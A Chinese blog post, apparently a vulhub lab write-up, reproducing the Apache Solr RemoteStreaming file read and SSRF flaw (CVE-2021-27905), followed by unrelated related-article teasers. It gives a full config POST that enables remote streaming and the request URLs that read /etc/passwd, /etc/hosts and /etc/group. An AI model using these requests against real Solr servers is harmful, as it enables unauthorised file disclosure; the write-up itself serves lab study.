[ vulhub漏洞复现篇 ] Apache Solr RemoteStreaming 文件读取与SSRF漏洞 (CVE-2021-27905)

news/2024/4/24 4:51:32/

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2021-27905环境
    • 2、启动CVE-2021-27905环境
    • 3、查看CVE-2021-27905环境
    • 4、访问CVE-2021-27905环境
    • 5、查看CVE-2021-27905漏洞提示信息
    • 6、关闭CVE-2021-27905环境
  • 五、漏洞复现
  • 1、修改配置文件
  • 2、读取etc/passwd文件
  • 3、读取/etc/hosts文件
  • 4、读取/etc/group文件
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

Remote-Streaming-Fileread
CVE-2021-27905

二、影响范围

Apache Solr <= 8.8.1(全版本)

三、漏洞描述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

四、环境搭建

1、进入CVE-2021-27905环境

cd vulhub/solr/Remote-Streaming-Fileread

在这里插入图片描述

2、启动CVE-2021-27905环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2021-27905环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2021-27905环境

访问ip+端口

http://192.168.233.128:8983/solr/#/

在这里插入图片描述

5、查看CVE-2021-27905漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2021-27905环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、修改配置文件

发送如下数据包,修改数据库demo的配置,开启RemoteStreaming

POST /solr/demo/config HTTP/1.1
Host: 192.168.233.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

在这里插入图片描述

2、读取etc/passwd文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

在这里插入图片描述

3、读取/etc/hosts文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/hosts

在这里插入图片描述

4、读取/etc/group文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/group

在这里插入图片描述

七、漏洞修复

升级为Apache Solr最新版本。

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)


http://www.ppmy.cn/news/1893.html

相关文章

[附源码]Python计算机毕业设计Django实验室管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

Spring - FactoryBean扩展接口

文章目录Preorg.springframework.beans.factory.FactoryBeanFactoryBean中的设计模式----工厂方法模式FactoryBean VS BeanFactory源码解析扩展示例Pre Spring Boot - 扩展接口一览 org.springframework.beans.factory.FactoryBean package org.springframework.beans.factory…

【git 介绍】AhuntSun

Git应用详解第一讲&#xff1a;Git分区&#xff0c;配置与日志 Git应用详解第二讲&#xff1a;Git删除、修改、撤销操作 Git应用详解第三讲&#xff1a;本地分支的重要操作 Git应用详解第四讲&#xff1a;版本回退的三种方式与stash Git应用详解第五讲&#xff1a;远程仓库…

19-29-k8s-基本命令-yaml-kubectl

19-k8s-基本命令-yaml-kubectl&#xff1a; Kubernetes 集群的命令行工具kubectl 1、kubectl 命令格式&#xff1a; kubectl [command] [type] [name] [flags] 参数&#xff1a; command&#xff1a;指定要对资源执行的操作&#xff0c;例如create、get、describe、delete t…

Thinkpad x13 锐龙安装 Archlinux 记录

硬件配置&#xff1a; 笔记本影响cpu显卡内存硬盘ThinkPad X13 锐龙版r7 4750U核显16g1TB 山寨固态&#xff08;大华&#xff09;镜像准备 https://archlinux.org/download/ http://mirrors.163.com/archlinux/iso/2022.12.01/ 每次安装都检查iso镜像是否是网站最新的&#x…

前端入门学习笔记四十七

<!DOCTYPE html> <html><head><meta charset"utf-8"><title></title></head><body><p>JavaScript 算数运算符</p><p id "a"></p><script>var x 9 9;document.getElemen…

模拟百度网盘

linux下基于多线程和tcp去实现了一个模拟网盘,实现cs之间的下载互传大文件,实现断点续传,秒传,利用md5进行校验,实时显示百分比 整体框架: 整个项目是在Linux环境下用C语言开发的,基于TCP协议,采用多线程的socket通信方式。 普通上传和秒传:客户端会先计算文件的MD…

浅析 em 和 rem

em 和 rem 都是相对长度单位 em 是相对于父级元素的font-size 大写来定义自身的大小 rem 是相对于根节点&#xff08;html{}, body{}, :root{}&#xff09;font-size来定义大小 Talk is cheap, show me the code !(空谈无用&#xff0c;上代码) em <html><head>…

【深度学习】常用算法生成对抗网络、自编码网络、多层感知机、反向传播等讲解(图文解释 超详细)

觉得有帮助请点赞关注收藏~~~ 一、生成对抗网络GAN Generative Adversarial Network 两个组件组成&#xff1a;一个生成器&#xff0c;用于生成虚拟数据&#xff0c;另一个是鉴别器&#xff0c;用于(GAN)生成式深度学习算法&#xff0c;可创建类似于训练数据的新数据实例。 G…

SpringBoot的创建的使用

哈喽呀&#xff0c;你好呀&#xff0c;欢迎呀&#xff0c;快来看一下这篇宝藏博客吧~~~ 目录 1、Spring Boot快速扫盲 2、Spring Boot 项目创建 3、运行项目 4 、输出hello world 5、注意事项--包路径错误 6、小结 1、Spring Boot快速扫盲 在创建SpringBoot项目前,我们得…

postgresql 数据库导出和导入

简介 本篇文章主要介绍PostgreSQL库和表的导出和导入以及常用的数据库管理工具的使用 一、数据库的导出和导入 1. 使用pgAdmin导出和导入数据库 导出 导入 新建数据库&#xff0c;右键Restore 2. 使用Navicate导出和导入数据库 导出 选择要导出的数据库&#xff0c;点…

数据库 - [ 视图 事务 ]

目录 视图 事务&#xff08;Transaction&#xff09; Oracle对象教程&#xff1a;视图(View)创建使用&#xff0c;视图(View)实际上是一张或者多张表上的预定义查询&#xff0c;这些表称为基表。从视图中查询信息与从表中查询信息的方法完全相同。只需要简单的SELECT…FROM即…

c++的构造函数赋值函数重载运算符等

文章目录一、前言二、正文1、拷贝构造函数2、赋值函数3、operator()() 重载()运算符4、类中方法前面的template5、类实例化的方式(1)调用构造函数实例化和指针实例化(2)类对象和类指针的区别(3) 类指针和智能指针的区别(4) 类指针和智能指针的转换三、后记一、前言 c的类的特殊…

前端入门学习笔记四十六

<!DOCTYPE html> <html><head><meta charset"utf-8"><title></title></head><body><p>JavaScript 赋值运算符</p><p id "a"></p><script>var h 10;h / 3;document.getEl…

【小f的刷题笔记】(JS)数组 - 差分数组 LeetCode1109 LeetCode1094

【数组】 差分数组&#xff1a; &#x1f31f; 频繁对原始数组的某个区间的元素进⾏增减 ✔ 把每个数与前一个数的差值计算出来存在一个新数组里&#xff0c;区间的加减通过把新数组中区间开始下标的值加/减&#xff0c;区间结束下标对应的值减/加&#xff08;反一下&#x…

LSTM内部结构及前向传播原理——LSTM从零实现系列(1)

一、前言 作为专注于时间序列分析的玩家&#xff0c;虽然LSTM用了很久但一直没有写过一篇自己的LSTM原理详解&#xff0c;所以这次要写一个LSTM的从0到1的系列&#xff0c;从模型原理讲解到最后不借助三方框架自己手写代码来实现LSTM模型。本文本身没有特别独到之处&#xff0c…

大厂程序员bibili技术学习分享

大厂程序员bibili技术学习分享

JAVA队列及实现类

什么是队列&#xff1f; 队列是一种特殊的线性表&#xff0c;遵循先入先出、后入后出的基本原则&#xff0c;一般来说&#xff0c;它只允许在表的前端进行删除操作&#xff0c;而在表的后端进行插入操作&#xff0c;但是java的某些队列运行在任何地方插入删除&#xff1b;比如我…

计算机毕业设计Java精品在线试题库系统(源码+mysql数据库+系统+lw文档)

计算机毕业设计Java精品在线试题库系统(源码mysql数据库系统lw文档&#xff09; 计算机毕业设计Java精品在线试题库系统(源码mysql数据库系统lw文档&#xff09;本源码技术栈&#xff1a; 项目架构&#xff1a;B/S架构 开发语言&#xff1a;Java语言 开发软件&#xff1a;id…

mysql基本命令

mysql -h localhost -u 用户名 -p密码 //連接數據庫 use desk_show; //使用數據庫 show tables; //顯示數據表 describe sys_att; …